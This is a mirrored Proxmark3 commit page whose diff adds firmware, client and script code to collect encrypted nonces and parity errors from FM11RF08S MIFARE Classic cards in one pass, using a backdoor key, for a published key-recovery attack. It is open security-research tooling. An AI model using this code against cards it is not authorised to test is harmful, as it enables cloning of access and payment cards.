mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2025-08-14 10:37:23 -07:00
Added support for collecting all fm11rf08s nT/{nT}/par_err at once
This commit is contained in:
parent
df1c24c42a
commit
c73e2ea623
7 changed files with 192 additions and 37 deletions
|
@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file.
|
|||
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
|
||||
|
||||
## [unreleased][unreleased]
|
||||
- Added support for collecting all fm11rf08s nT/{nT}/par_err at once (@doegox)
|
||||
- Fixed `hf mfu wrbl` - compatibility write only writes 4 bytes. Now handled correctly (@iceman1001)
|
||||
- Changed `hf mfu info` - better magic tag detection (@iceman1001)
|
||||
- Added ELECTRA pattern decoding in `lf search` (@CiRIP)
|
||||
|
|
|
@ -1750,6 +1750,10 @@ static void PacketReceived(PacketCommandNG *packet) {
|
|||
MifareAcquireEncryptedNonces(packet->oldarg[0], packet->oldarg[1], packet->oldarg[2], packet->data.asBytes);
|
||||
break;
|
||||
}
|
||||
case CMD_HF_MIFARE_ACQ_STATIC_ENCRYPTED_NONCES: {
|
||||
MifareAcquireStaticEncryptedNonces(packet->data.asBytes);
|
||||
break;
|
||||
}
|
||||
case CMD_HF_MIFARE_ACQ_NONCES: {
|
||||
MifareAcquireNonces(packet->oldarg[0], packet->oldarg[2]);
|
||||
break;
|
||||
|
|
|
@ -1032,6 +1032,140 @@ void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags,
|
|||
}
|
||||
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// acquire static encrypted nonces in order to perform the attack described in
|
||||
// Philippe Teuwen, "MIFARE Classic: exposing the static encrypted nonce variant"
|
||||
//-----------------------------------------------------------------------------
|
||||
void MifareAcquireStaticEncryptedNonces(uint8_t *key) {
|
||||
|
||||
struct Crypto1State mpcs = {0, 0};
|
||||
struct Crypto1State *pcs;
|
||||
pcs = &mpcs;
|
||||
|
||||
uint8_t uid[10] = {0x00};
|
||||
uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE] = {0x00};
|
||||
uint8_t par_enc[1] = {0x00};
|
||||
uint8_t buf[PM3_CMD_DATA_SIZE] = {0x00};
|
||||
|
||||
uint64_t ui64Key = bytes_to_num(key, 6);
|
||||
uint32_t cuid = 0;
|
||||
int16_t isOK = PM3_SUCCESS;
|
||||
uint16_t num_nonces = 0;
|
||||
uint8_t cascade_levels = 0;
|
||||
bool have_uid = false;
|
||||
uint8_t num_sectors = 16;
|
||||
|
||||
LED_A_ON();
|
||||
LED_C_OFF();
|
||||
|
||||
BigBuf_free();
|
||||
BigBuf_Clear_ext(false);
|
||||
clear_trace();
|
||||
set_tracing(false);
|
||||
|
||||
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
|
||||
|
||||
LED_C_ON();
|
||||
|
||||
for (uint16_t sec = 0; sec < num_sectors; sec++) {
|
||||
uint8_t blockNo = sec * 4;
|
||||
for (uint8_t keyType = 0; keyType < 2; keyType++) {
|
||||
// Test if the action was cancelled
|
||||
if (BUTTON_PRESS()) {
|
||||
isOK = PM3_EOPABORTED;
|
||||
break;
|
||||
}
|
||||
if (have_uid == false) { // need a full select cycle to get the uid first
|
||||
iso14a_card_select_t card_info;
|
||||
if (iso14443a_select_card(uid, &card_info, &cuid, true, 0, true) == 0) {
|
||||
if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Can't select card (ALL)");
|
||||
continue;
|
||||
}
|
||||
switch (card_info.uidlen) {
|
||||
case 4 :
|
||||
cascade_levels = 1;
|
||||
break;
|
||||
case 7 :
|
||||
cascade_levels = 2;
|
||||
break;
|
||||
case 10:
|
||||
cascade_levels = 3;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
have_uid = true;
|
||||
} else { // no need for anticollision. We can directly select the card
|
||||
if (iso14443a_fast_select_card(uid, cascade_levels) == 0) {
|
||||
if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Can't select card (UID)");
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
uint32_t nt1 = 0;
|
||||
if (mifare_classic_authex_cmd(pcs, cuid, blockNo, MIFARE_AUTH_KEYA + keyType + 4, ui64Key, AUTH_FIRST, &nt1, NULL, NULL, NULL, false, false)) {
|
||||
if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Auth1 error");
|
||||
isOK = PM3_ESOFT;
|
||||
goto out;
|
||||
};
|
||||
// nested authentication
|
||||
uint16_t len = mifare_sendcmd_short(pcs, AUTH_NESTED, MIFARE_AUTH_KEYA + keyType + 4, blockNo, receivedAnswer, par_enc, NULL);
|
||||
if (len != 4) {
|
||||
if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Auth2 error len=%d", len);
|
||||
isOK = PM3_ESOFT;
|
||||
goto out;
|
||||
}
|
||||
uint32_t nt_enc = bytes_to_num(receivedAnswer, 4);
|
||||
crypto1_init(pcs, ui64Key);
|
||||
uint32_t nt = crypto1_word(pcs, nt_enc ^ cuid, 1) ^ nt_enc;
|
||||
// Dbprintf("Sec %2i key %i nT=%08x", sec, keyType + 4, nt);
|
||||
num_to_bytes(nt, 4, buf + (((sec * 2) + keyType) * 9));
|
||||
// send some crap to fail auth
|
||||
uint8_t nack[] = {0x04};
|
||||
ReaderTransmit(nack, sizeof(nack), NULL);
|
||||
|
||||
if (iso14443a_fast_select_card(uid, cascade_levels) == 0) {
|
||||
if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Can't select card (UID)");
|
||||
continue;
|
||||
}
|
||||
if (mifare_classic_authex_cmd(pcs, cuid, blockNo, MIFARE_AUTH_KEYA + keyType + 4, ui64Key, AUTH_FIRST, &nt1, NULL, NULL, NULL, false, false)) {
|
||||
if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Auth1 error");
|
||||
isOK = PM3_ESOFT;
|
||||
goto out;
|
||||
};
|
||||
|
||||
// nested authentication on regular keytype
|
||||
len = mifare_sendcmd_short(pcs, AUTH_NESTED, MIFARE_AUTH_KEYA + keyType, blockNo, receivedAnswer, par_enc, NULL);
|
||||
if (len != 4) {
|
||||
if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Auth2 error len=%d", len);
|
||||
isOK = PM3_ESOFT;
|
||||
goto out;
|
||||
}
|
||||
memcpy(buf + (((sec * 2) + keyType) * 9) + 4, receivedAnswer, 4);
|
||||
nt_enc = bytes_to_num(receivedAnswer, 4);
|
||||
uint8_t nt_par_err = ((((par_enc[0] >> 7) & 1) ^ oddparity8((nt_enc >> 24) & 0xFF)) << 3 |
|
||||
(((par_enc[0] >> 6) & 1) ^ oddparity8((nt_enc >> 16) & 0xFF)) << 2 |
|
||||
(((par_enc[0] >> 5) & 1) ^ oddparity8((nt_enc >> 8) & 0xFF)) << 1 |
|
||||
(((par_enc[0] >> 4) & 1) ^ oddparity8((nt_enc >> 0) & 0xFF)));
|
||||
// Dbprintf("Sec %2i key %i {nT}=%02x%02x%02x%02x perr=%x", sec, keyType, receivedAnswer[0], receivedAnswer[1], receivedAnswer[2], receivedAnswer[3], nt_par_err);
|
||||
buf[(((sec * 2) + keyType) * 9) + 8] = nt_par_err;
|
||||
// send some crap to fail auth
|
||||
ReaderTransmit(nack, sizeof(nack), NULL);
|
||||
}
|
||||
}
|
||||
out:
|
||||
LED_C_OFF();
|
||||
crypto1_deinit(pcs);
|
||||
LED_B_ON();
|
||||
reply_old(CMD_ACK, isOK, cuid, num_nonces, buf, sizeof(buf));
|
||||
LED_B_OFF();
|
||||
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
LEDsoff();
|
||||
set_tracing(false);
|
||||
}
|
||||
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// MIFARE nested authentication.
|
||||
//
|
||||
|
|
|
@ -37,6 +37,7 @@ void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8
|
|||
void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, uint8_t *key);
|
||||
|
||||
void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain);
|
||||
void MifareAcquireStaticEncryptedNonces(uint8_t *key);
|
||||
void MifareAcquireNonces(uint32_t arg0, uint32_t flags);
|
||||
void MifareChkKeys(uint8_t *datain, uint8_t reserved_mem);
|
||||
void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
|
||||
|
|
|
@ -18,6 +18,7 @@ import sys
|
|||
import time
|
||||
import subprocess
|
||||
import argparse
|
||||
import json
|
||||
import pm3
|
||||
# optional color support
|
||||
try:
|
||||
|
@ -101,44 +102,14 @@ if args.init_check:
|
|||
found_keys[sec][1] = res[4]
|
||||
print_key(sec, 1, found_keys[sec][1])
|
||||
|
||||
nt = [["", ""] for _ in range(NUM_SECTORS)]
|
||||
nt_enc = [["", ""] for _ in range(NUM_SECTORS)]
|
||||
par_err = [["", ""] for _ in range(NUM_SECTORS)]
|
||||
print("Getting nonces...")
|
||||
for sec in range(NUM_SECTORS):
|
||||
blk = sec * 4
|
||||
if found_keys[sec][0] == "" or found_keys[sec][1] == "":
|
||||
# Even if one key already found, we'll need both nt
|
||||
for key_type in [0, 1]:
|
||||
cmd = f"hf mf isen -n1 --blk {blk} -c {key_type+4} --key {BACKDOOR_RF08S}"
|
||||
p.console(cmd)
|
||||
cmd += f" --c2 {key_type}"
|
||||
p.console(cmd)
|
||||
print("Processing traces...")
|
||||
for line in p.grabbed_output.split('\n'):
|
||||
if "nested cmd: 64" in line or "nested cmd: 65" in line:
|
||||
sec = int(line[24:26], 16)//4
|
||||
key_type = int(line[21:23], 16) - 0x64
|
||||
data = line[65:73]
|
||||
nt[sec][key_type] = data
|
||||
if "nested cmd: 60" in line or "nested cmd: 61" in line:
|
||||
sec = int(line[24:26], 16)//4
|
||||
key_type = int(line[21:23], 16) - 0x60
|
||||
data = line[108:116]
|
||||
nt_enc[sec][key_type] = data
|
||||
data = line[128:136]
|
||||
par_err[sec][key_type] = data
|
||||
|
||||
# Check if we got all nonces, else abort.
|
||||
# TODO: retry instead...
|
||||
for sec in range(NUM_SECTORS):
|
||||
if found_keys[sec][0] == "" or found_keys[sec][1] == "":
|
||||
for key_type in [0, 1]:
|
||||
if (nt[sec][key_type] == "" or
|
||||
nt_enc[sec][key_type] == "" or
|
||||
par_err[sec][key_type] == ""):
|
||||
print("Error, could not collect all nonces, try again.")
|
||||
exit()
|
||||
cmd = f"hf mf isen --collect_fm11rf08s --key {BACKDOOR_RF08S}"
|
||||
p.console(cmd)
|
||||
try:
|
||||
nt, nt_enc, par_err = json.loads(p.grabbed_output)
|
||||
except json.decoder.JSONDecodeError:
|
||||
print("Error getting nonces, abort.")
|
||||
exit()
|
||||
|
||||
if os.path.isfile(DICT_DEF_PATH):
|
||||
print(f"Loading {DICT_DEF}")
|
||||
|
|
|
@ -9727,6 +9727,7 @@ static int CmdHF14AMfISEN(const char *Cmd) {
|
|||
arg_lit0(NULL, "incblk2", "auth(blk)-auth(blk2)-auth(blk2+4)-..."),
|
||||
arg_lit0(NULL, "corruptnrar", "corrupt {nR}{aR}, but with correct parity"),
|
||||
arg_lit0(NULL, "corruptnrarparity", "correct {nR}{aR}, but with corrupted parity"),
|
||||
arg_lit0(NULL, "collect_fm11rf08s", "correct all nT/{nT}/par_err of FM11RF08S in JSON. Option to be used only with -k."),
|
||||
arg_param_end
|
||||
};
|
||||
CLIExecWithReturn(ctx, Cmd, argtable, true);
|
||||
|
@ -9792,6 +9793,7 @@ static int CmdHF14AMfISEN(const char *Cmd) {
|
|||
bool incblk2 = arg_get_lit(ctx, 16);
|
||||
bool corruptnrar = arg_get_lit(ctx, 17);
|
||||
bool corruptnrarparity = arg_get_lit(ctx, 18);
|
||||
bool collect_fm11rf08s = arg_get_lit(ctx, 19);
|
||||
CLIParserFree(ctx);
|
||||
|
||||
uint8_t dbg_curr = DBG_NONE;
|
||||
|
@ -9837,6 +9839,47 @@ static int CmdHF14AMfISEN(const char *Cmd) {
|
|||
PrintAndLogEx(INFO, "Card doesn't support standard iso14443-3 anticollision");
|
||||
}
|
||||
|
||||
if (collect_fm11rf08s) {
|
||||
SendCommandNG(CMD_HF_MIFARE_ACQ_STATIC_ENCRYPTED_NONCES, key, sizeof(key));
|
||||
if (WaitForResponseTimeout(CMD_HF_MIFARE_STATIC_ENCRYPTED_NONCE, &resp, 1000)) {
|
||||
if (resp.status == PM3_ESOFT) {
|
||||
return NONCE_FAIL;
|
||||
}
|
||||
}
|
||||
uint8_t num_sectors = 16;
|
||||
// TODO: get nonces and display
|
||||
PrintAndLogEx(NORMAL, "[\n [");
|
||||
for (uint8_t sec = 0; sec < num_sectors; sec++) {
|
||||
PrintAndLogEx(NORMAL, " [\"%08x\", \"%08x\"]%s",
|
||||
bytes_to_num(resp.data.asBytes + ((sec * 2) * 9), 4),
|
||||
bytes_to_num(resp.data.asBytes + (((sec * 2) + 1) * 9), 4),
|
||||
sec < num_sectors - 1 ? "," : "");
|
||||
}
|
||||
PrintAndLogEx(NORMAL, " ],\n [");
|
||||
for (uint8_t sec = 0; sec < num_sectors; sec++) {
|
||||
PrintAndLogEx(NORMAL, " [\"%08x\", \"%08x\"]%s",
|
||||
bytes_to_num(resp.data.asBytes + ((sec * 2) * 9) + 4, 4),
|
||||
bytes_to_num(resp.data.asBytes + (((sec * 2) + 1) * 9) + 4, 4),
|
||||
sec < num_sectors - 1 ? "," : "");
|
||||
}
|
||||
PrintAndLogEx(NORMAL, " ],\n [");
|
||||
for (uint8_t sec = 0; sec < num_sectors; sec++) {
|
||||
uint8_t p0 = resp.data.asBytes[((sec * 2) * 9) + 8];
|
||||
uint8_t p1 = resp.data.asBytes[(((sec * 2) + 1) * 9) + 8];
|
||||
PrintAndLogEx(NORMAL, " [\"%i%i%i%i\", \"%i%i%i%i\"]%s",
|
||||
(p0 >> 3) & 1, (p0 >> 2) & 1, (p0 >> 1) & 1, p0 & 1,
|
||||
(p1 >> 3) & 1, (p1 >> 2) & 1, (p1 >> 1) & 1, p1 & 1,
|
||||
sec < num_sectors - 1 ? "," : "");
|
||||
}
|
||||
PrintAndLogEx(NORMAL, " ]\n]");
|
||||
|
||||
// PrintAndLogEx(SUCCESS, " nT: " _GREEN_("%s"), sprint_hex(resp.data.asBytes + (((sec * 2) + keyType) * 9), 4));
|
||||
// PrintAndLogEx(SUCCESS, " {nT}: " _GREEN_("%s"), sprint_hex(resp.data.asBytes + (((sec * 2) + keyType) * 9) + 4, 4));
|
||||
// // TODO: wrong par:
|
||||
// PrintAndLogEx(SUCCESS, " par: " _GREEN_("%02x"), resp.data.asBytes[(((sec * 2) + keyType) * 9) + 8]);
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
PrintAndLogEx(NORMAL, "");
|
||||
PrintAndLogEx(INFO, "--- " _CYAN_("ISO14443-a Information") " ---------------------");
|
||||
PrintAndLogEx(SUCCESS, " UID: " _GREEN_("%s"), sprint_hex(card.uid, card.uidlen));
|
||||
|
|
|
@ -677,6 +677,7 @@ typedef struct {
|
|||
#define CMD_HF_MIFARE_ACQ_NONCES 0x0614
|
||||
#define CMD_HF_MIFARE_STATIC_NESTED 0x0615
|
||||
#define CMD_HF_MIFARE_STATIC_ENC 0x0616
|
||||
#define CMD_HF_MIFARE_ACQ_STATIC_ENCRYPTED_NONCES 0x0617
|
||||
|
||||
#define CMD_HF_MIFARE_READBL 0x0620
|
||||
#define CMD_HF_MIFARE_READBL_EX 0x0628
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue